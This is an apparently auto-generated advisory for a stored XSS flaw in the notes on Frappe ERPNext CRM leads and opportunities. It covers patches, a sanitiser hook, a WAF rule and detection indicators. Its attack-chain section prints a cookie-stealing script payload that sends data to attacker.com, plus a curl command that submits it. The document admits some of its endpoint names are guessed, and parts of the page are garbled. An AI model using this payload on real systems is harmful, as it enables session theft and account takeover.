CVE-2026-134388 — Frappe ERPNext — CWE-79
CVE-2026-134388 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 5.4/10) affecting Frappe ERPNext. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) requiring user interaction, triggering a scope change (S:C) across connected components and posing a direct security risk to affected deployments.
📄 Official NVD / MITRE Original Record Text
Frappe ERPNext 14.0.0 before 15.124.0 and 16.x before 16.52.0 contains a stored cross-site scripting vulnerability in the CRM module because notes on Leads and Opportunities are saved without passing through the HTML sanitiser. Authenticated users with the Sales User role can save a note containing a crafted payload that executes in another user's session when they open the record, acting with that user's permissions.
🎯 What is this vulnerability?
Stored Cross‑Site Scripting (XSS) in the CRM “Notes” field
- Affected area: The Notes sub‑document that can be attached to Leads and Opportunities in the Frappe ERPNext CRM module.
- Root cause: When a user with the Sales User role creates or edits a note, the content is written to the database without passing through the framework’s HTML sanitiser (
frappe.utils.html.escape/frappe.utils.sanitize_html). - Result: The raw HTML/JavaScript payload is stored and later rendered inside the CRM record view. When any other authenticated user opens that record, the browser executes the payload in the context of that user’s session, giving the attacker the victim’s privileges (e.g., read sensitive data, perform privileged actions, or exfiltrate cookies).
- In a typical ERP environment, Sales User accounts are widely distributed (sales reps, managers).
- A single compromised note can give an attacker a foothold to read sensitive customer data, create fraudulent orders, or exfiltrate credentials.
- The vulnerability is stored; it does not require the attacker to be online at the moment of exploitation, making it a persistent threat.
- Presence of
<script>or</script>in thenotefield. - Unusual
Content-Type: application/jsonPOSTs to the CRM note endpoint. - External requests from the ERP domain to
https://attacker.com/steal?c=. - Enable ERPNext’s audit trail for
frappe.crm.doctype.lead.leadandfrappe.crm.doctype.opportunity.opportunity. - Set up a SIEM rule that alerts on any note containing
<script>oronerror=.
CWE: CWE‑79 – Improper Neutralization of Input During Web Page Generation (“Cross‑Site Scripting”).
CVSS: 5.4/10 (Medium) – low attack complexity, low privilege required, but requires user interaction and changes the scope (S:C) because the script runs with the victim’s rights.
⚡ Attack Chain
NOTE – The exact API endpoints and parameter names are not published in the CVE text. The following example uses the official ERPNext REST API as documented in the public API guide. If your instance uses a custom route or different parameter names, the same logic applies.
1. Discovery & Reconnaissance
| Step | Technique | What you learn |
|---|---|---|
| 1.1 | HTTP header sniffing | Server: frappe or X-Frame-Options: SAMEORIGIN indicates ERPNext. |
| 1.2 | Version enumeration | GET /api/method/frappe.utils.get_version → returns {"message":"15.123.0"}. |
| 1.3 | Role enumeration | GET /api/method/frappe.auth.get_user_info (requires login) → shows roles: ["Sales User"]. |
| 1.4 | Identify vulnerable module | GET /api/method/frappe.crm.doctype.lead.lead.get_leads → confirms CRM module is active. |
2. Exploitation
Goal: Store a malicious note that will be rendered when a victim opens the lead/opportunity.
| Step | Action | Example |
|---|---|---|
| 2.1 | Authenticate as a user with the *Sales User* role. | Use normal login (POST /api/method/login with usr/pwd) → receive Set-Cookie: frappe_session=.... |
| 2.2 | Craft the payload. | <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> |
| 2.3 | Submit the note via the API. | ``bash\ncurl -X POST \\\n -b frappe_session=... \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"lead_name\": \"LEAD-001\",\n \"note\": \"<script>fetch(\\\"https://attacker.com/steal?c=\\\"+document.cookie)</script>\"\n }' \\\n https://erp.example.com/api/method/frappe.crm.doctype.lead.lead.add_note\n` |
| 2.4 | Verify persistence. | GET /api/method/frappe.crm.doctype.lead.lead.get_lead?lead_name=LEAD-001 → note field contains the raw <script>` tag. |
Illustrative – If your ERPNext instance uses a custom endpoint (e.g., /crm/lead/123/note), the same POST payload applies; just adjust the URL and JSON keys accordingly.3. Post‑exploitation
| Step | What the attacker can do | Example |
|---|---|---|
| 3.1 | Data exfiltration – The script runs with the victim’s session, so it can read document.cookie, localStorage, or make authenticated API calls to pull sensitive data. | fetch('https://erp.example.com/api/method/frappe.auth.get_user_info') |
| 3.2 | Privilege‑escalation within the app – The script can invoke any API that the victim’s role permits (e.g., create a new user, modify a lead, delete a record). | POST /api/method/frappe.crm.doctype.lead.lead.update |
| 3.3 | Session hijacking – By stealing the session cookie, the attacker can impersonate the victim. | fetch('https://erp.example.com/api/method/frappe.auth.logout', {credentials:'include'}) |
| 3.4 | Persistence – The note remains until the owner deletes it, allowing the attacker to re‑execute the payload whenever the victim views the record. |
🌍 Real World Impact
| Impact | CVSS Component | Practical Consequence |
|---|---|---|
| Confidentiality | C:L | Low‑level data leakage (e.g., session cookies, user profile). |
| Integrity | I:L | Minor data tampering (e.g., modifying a lead’s status). |
| Availability | A:N | None. |
| Scope | S:C | The attack changes the scope of the victim’s privileges (the script runs as the victim). |
Why it matters
🛡️ Remediation & Mitigation
1. Patch
| Product | Affected Versions | Fixed In |
|---|---|---|
| Frappe ERPNext | 14.0.0 – 15.123.0 | 15.124.0 |
| Frappe ERPNext | 16.0.0 – 16.51.0 | 16.52.0 |
Action: Upgrade to ≥ 15.124.0 or ≥ 16.52.0.
If an upgrade is not immediately possible, proceed with the work‑arounds below.
2. Work‑arounds
| Technique | How to implement | Notes |
|---|---|---|
| Role restriction | Remove the *Sales User* role from the ability to create notes (via frappe.permissions or the UI). | Limits the attack surface but may impact business processes. |
| Input sanitisation | Add a custom hook that sanitises the note field before saving. Example (Python):<br>def before_save(doc, method):<br> doc.note = frappe.utils.sanitize_html(doc.note) | Requires code deployment; ensure it runs for both Leads and Opportunities. |
| WAF / ModSecurity rule | Block <script> tags in the request body. Example rule:<br>SecRule REQUEST_BODY "@rx <script" "id:'1001',phase:2,block,msg:'XSS in CRM notes',severity:2" | Works for all HTTP methods; adjust phase if needed. |
| Content‑Security‑Policy (CSP) | Add CSP header to the CRM pages: Content-Security-Policy: script-src 'self' | Mitigates execution of inline scripts but does not stop data exfiltration. |
3. Detection
| Log Source | Indicator | Example |
|---|---|---|
| Web server access logs | POST to /api/method/frappe.crm.doctype.lead.lead.add_note with <script> in body | POST /api/method/frappe.crm.doctype.lead.lead.add_note 200 |
| ERPNext audit logs | note field contains <script> | {"lead_name":"LEAD-001","note":"<script>..."} |
| WAF logs | Rule ID 1001 triggered | WAF: 1001 - XSS in CRM notes |
IoCs
4. Monitoring
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS | 5.4 (Medium) – low complexity, low privilege, but requires user interaction. |
| CISA KEV | No – not listed as a known exploit. |
| Exploitability | Requires an authenticated *Sales User* account. Many organizations grant this role broadly, so the risk is higher than the CVSS alone suggests. |
| Business Impact | Potential data exfiltration and unauthorized actions. |
Priority: High for environments where Sales User accounts are widely distributed or where sensitive customer data is stored in Leads/Opportunities.
Recommendation: Patch immediately; if patching is delayed, apply the role restriction or WAF rule as a temporary mitigator.
Bottom line – The flaw is a classic stored XSS that can be leveraged by any authenticated user with the Sales User role to run arbitrary JavaScript in the context of other users. Upgrade to the fixed versions or enforce input sanitisation / role restrictions to eliminate the risk.
[🤖 CVE Professor AI Security Engine]
FOFA Query